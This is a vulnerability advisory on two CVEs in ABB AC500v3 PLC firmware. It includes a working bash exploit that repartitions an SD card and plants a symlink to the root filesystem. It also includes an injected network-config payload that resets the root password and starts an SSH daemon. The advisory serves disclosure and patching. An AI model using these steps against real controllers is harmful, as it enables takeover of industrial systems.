This work received funding from the Austrian Research Promotion Agency (FFG) in course of the KIRAS project TestCat (FO999911248) and was supported by AIT Austrian Institute of Technology.
„ABB is a technology leader in electrification and automation, enabling a more sustainable and resource-efficient future. The company’s solutions connect engineering know-how and software to optimize how things are manufactured, moved, powered and operated. Building on more than 140 years of excellence, ABB’s 105,000 employees are committed to driving innovations that accelerate industrial transformation.“
AC500v3 / <= 3.7.0.569
1) Directory Traversal via Symlink (CVE-2024-12429)
A directory traversal vulnerability was identified in the file-explorer functionality of the device. An attacker can use this vulnerability to read system-wide files and configuration as user “system”.
2) Privilege Escalation (CVE-2024-12430)
A file which gets executed as “root” is owned by “system”. An attacker can abuse this by injecting arbitrary commands.
When formatting a sd card to ext4 and creating a symlink to “/”, an attacker can access system critical files via the automation builder file-explorer.
#!/bin/bash
# CyberDanube 2024 <S. Dietz>
# abb ac500 symlink exploit
if [ -z "$1" ]; then
echo "usage: ./abb_ac500_symlink.sh /dev/sdX"
exit 1
fi
if [ "$(id -u)" -ne "0" ]; then
echo "This script must be run as root or with sudo."
exit 1
fi
DISK="$1"
PART="${DISK}1"
MOUNT_POINT="/mnt/sdcard"
SYMLINK_TARGET="/"
SYMLINK_NAME="pwned"
umount ${DISK}* 2>/dev/null
# Delete all existing partitions on the disk
(
echo o
echo w
) | fdisk "$DISK"
# Create a new partition on /dev/sda
(
echo n
echo p
echo 1
echo
echo
echo w
) | fdisk "$DISK"
partprobe "$DISK"
mkfs.ext4 -F "${PART}"
mkdir -p ${MOUNT_POINT}
mount ${PART} ${MOUNT_POINT}
ln -s ${SYMLINK_TARGET} ${MOUNT_POINT}/${SYMLINK_NAME}
ls -l ${MOUNT_POINT}
umount ${MOUNT_POINT}
echo "Done."
2) Privilege Escalation (CVE-2024-12430)
The file /mnt/sysdata/netconfig/ifs/ETH1 is writable by the user “system”. This file configures the network interface during boot as user “root”. An attacker can modify this file by using 1) and inject arbitrary commands. Our poc changes the root password and starts dropbear.
auto ETH1 iface ETH1 inet static address 192.168.19.123 netmask 255.255.255.0 post-up ip route add 192.168.19.0/24 dev ETH1 table ETH1 post-up ip rule add from 192.168.19.123/32 table ETH1 priority 100 post-up ip rule add from 0.0.0.0/32 to 192.168.19.0/24 dev ETH1 table ETH1 post-up ip route add default via 192.168.19.254 table ETH1 post-up ip route add default via 192.168.19.254 dev ETH1 metric 0 post-up echo 'root:password' | chpasswd post-up /etc/init.d/dropbear start
Update to the latest firmware
None
Update to the latest firmware. See recommendations in the ABB Cyber Security Advisory for further information: https://search.abb.com/library/Download.aspx?DocumentID=3ADR011377&LanguageCode=en&DocumentPartId=&Action=Launch
https://www.ait.ac.at/themen/cyber-security/projects/testcat
https://projekte.ffg.at/projekt/5122360
